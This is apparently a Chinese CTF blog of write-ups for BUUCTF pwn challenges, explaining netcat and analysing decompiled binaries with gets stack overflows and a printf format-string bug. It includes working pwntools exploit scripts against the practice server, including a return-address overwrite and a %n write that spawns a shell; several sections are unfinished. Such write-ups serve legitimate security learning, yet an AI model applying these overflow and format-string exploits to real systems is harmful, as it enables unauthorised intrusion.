buuctf_pwn_wp

记录一些pwn题wp

test_your_nc

测试nc, ls 看到有flag, cat flag得到flag。

nc是netcat的简写

(1)实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
(2)端口的扫描,nc可以作为client发起TCP或UDP连接
(3)机器之间传输文件
(4)机器之间网络测速

nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]

rip

拖到ida里面看一下,发现有一个危险函数get ,它从不检查输入字符串的长度,而是以回车来判断输入是否结束,所以很容易可以导致栈溢出。顺便也知道了15个字节的存储空间,那么在栈帧中系统就会给我们分配一个15个字节的存储空间

fun函数里面发现了system函数,system是c语言下的一个可以执行shell命令的函数,目前可以简单理解为,执行了这个危险函数,我们就拿到了远端服务器的shell,也就是相当于在windows下以管理员身份开启cmd,那么我们就可以通过一系列后续指令控制远端服务器。

编写脚本

ls 看到flag的文件,cat flag

warmup_csaw_2016


64位文件,而且没有开启保护
拖进ida


发现危险函数_gets,还看到了system函数
编写payload脚本


第二周

ciscn_2019_n_1


发现开启了NX,无法用shellcode
丢到ida

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);// 设置标准输出 _bss_start 的缓冲方式
setvbuf(stdin, 0LL, 2, 0LL); // 设置标准输入 stdin 的缓冲方式
func(); // 调用 func 函数
return 0;
}

再看func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]
//首先声明了一个长度为 44 的字符数组 v1 和一个浮点数 v2
v2 = 0.0;
puts("Let's guess the number."); //输出提示信息 "Let's guess the number."
gets(v1); //使用 gets 函数(危险函数)接收输入,存储在 v1 中
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
//最后,通过比较 v2 是否等于 11.28125,如果相等,则执行 "cat /flag",否则输出 "Its value should be 11.28125"
}

找到system函数的地址

写payload

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# 创建一个与远程主机通信的连接
p = remote("node4.buuoj.cn", 28403)
# 构造 payload,其中包含 'a'*(0x30+8) 的填充和 0x4006BE 的地址
payload = b'a' * (0x30 + 8) + p64(0x4006BE)
# 发送 payload 到远程主机
p.sendline(payload)
# 与远程主机进行交互,可以手动输入或者使用脚本进行进一步的操作
p.interactive()

[第五空间2019 决赛]PWN5


32位文件,开启了栈溢出保护,开启了NX
丢到ida里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF //定义一个长度为100的字符数组
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u); //等待用户在终端收入,存入buf中,最多读取0x63u(99)个字节
printf("Hello,"); // 存在格式化字符串漏洞
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 ) // 只要满足这个条件就可以得到flag
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;

计算偏移量位10

写下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('node4.buuoj.cn',29083)

bss = 0x0804C044

payload = b"AAAA%16$n%17$n%18$n%19$n" + p32(bss) + p32(bss+1) + p32(bss+2) + p32(bss+3)

p.sendline(payload)

p.sendline(str(0x04040404))

p.interactive()

cat falg

others_shellcode

checksec,32位文件,

ciscn_2019_c_1

checksec查看下保护 64 位文件,开启了NX无法使用shellcode

丢到ida里查看
发现encrypt函数里有gets函数,大概是栈溢出